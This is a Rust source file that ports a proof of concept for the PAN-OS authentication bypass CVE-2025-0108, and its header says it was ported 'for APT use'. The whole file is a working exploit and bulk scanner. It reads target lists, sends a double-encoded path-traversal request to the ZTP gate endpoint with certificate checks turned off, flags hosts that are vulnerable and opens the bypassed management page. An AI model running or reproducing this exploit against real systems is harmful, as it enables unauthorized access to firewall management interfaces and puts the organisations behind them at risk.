// Filename: cve_2025_0108.rs
// CVE-2025-0108 - PanOS Authentication Bypass
// Author: iSee857
// Ported to Rust by ethical hacker daniel for APT use

use anyhow::{Context, Result, bail};
use colored::*;
use reqwest::Client;
use std::{
    fs::File,
    io::{self, BufRead, BufReader, Write},
    process::Command,
    time::Duration,
};
use url::Url;

/// Displays module banner
fn banner() {
    println!(
        "{}",
        r#"
    ****************************************************
    *                CVE-2025-0108                     *
    *             PanOs  身份认证绕过漏洞               *
    *                 作者: iSee857                    *
    ****************************************************
    "#
        .cyan()
    );
}

/// Reads target list from file
fn read_file(file_path: &str) -> Result<Vec<String>> {
    let file = File::open(file_path)
        .with_context(|| format!("Failed to open file: {}", file_path))?;
    let reader = BufReader::new(file);
    let urls: Vec<String> = reader
        .lines()
        .filter_map(|line| {
            let line = line.ok()?;
            let trimmed = line.trim();
            if trimmed.is_empty() || trimmed.starts_with('#') {
                None
            } else {
                Some(trimmed.to_string())
            }
        })
        .collect();
    Ok(urls)
}

/// Normalize IPv6 host with double or triple brackets
fn normalize_ipv6_host(host: &str) -> String {
    let stripped = host.trim_matches(|c| c == '[' || c == ']');
    if stripped.contains(':') {
        format!("[{}]", stripped)
    } else {
        stripped.to_string()
    }
}

/// Constructs the full normalized URL
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
    let host = normalize_ipv6_host(host);
    let base = format!("{}{}:{}", proto, host, port);
    Url::parse(&base).ok().map(|u| u.to_string())
}

/// Opens a URL in the default system browser
fn open_browser(url: &str) -> Result<()> {
    #[cfg(target_os = "linux")]
    let cmd = Command::new("xdg-open").arg(url).spawn();

    #[cfg(target_os = "windows")]
    let cmd = Command::new("cmd").args(["/C", "start", url]).spawn();

    #[cfg(target_os = "macos")]
    let cmd = Command::new("open").arg(url).spawn();

    if cmd.is_err() {
        bail!("Could not open default browser.");
    }
    Ok(())
}

/// Executes CVE-2025-0108 check
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
    let protocols = ["http://", "https://"];
    let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";

    for proto in &protocols {
        if let Some(base_url) = normalize_url(url, port, proto) {
            let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
            println!("{}", format!("[*] Testing: {}", full_url).yellow());

            let resp = client.get(&full_url).send().await;

            if let Ok(res) = resp {
                let status = res.status();
                let body = res.text().await.unwrap_or_default();

                if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
                    println!(
                        "{}",
                        format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port)
                            .green()
                            .bold()
                    );
                    println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
                    let _ = open_browser(&full_url);
                    return Ok(true);
                } else {
                    println!(
                        "{}",
                        format!("[-] Not vulnerable: {}:{} - Response code: {}", url, port, status.as_u16())
                            .red()
                    );
                }
            } else {
                println!(
                    "{}",
                    format!("[-] Error connecting to {}:{}", url, port).red()
                );
            }
        }
    }

    Ok(false)
}

/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
    banner();

    let mut port_input = String::new();
    print!("{}", "Enter target port (default 443): ".cyan().bold());
    io::stdout().flush()?;
    io::stdin().read_line(&mut port_input)?;
    let port: u16 = port_input.trim().parse().unwrap_or(443);

    let client = Client::builder()
        .timeout(Duration::from_secs(10))
        .danger_accept_invalid_certs(true)
        .build()
        .context("Failed to create HTTP client")?;

    if target.ends_with(".txt") {
        let urls = read_file(target)?;
        if urls.is_empty() {
            return Err(anyhow::anyhow!("No URLs found in file: {}", target));
        }
        println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
        let mut vulnerable_count = 0;
        for url in urls {
            if check(&url, port, &client).await? {
                vulnerable_count += 1;
            }
        }
        println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
    } else {
        let _ = check(target, port, &client).await?;
    }

    Ok(())
}
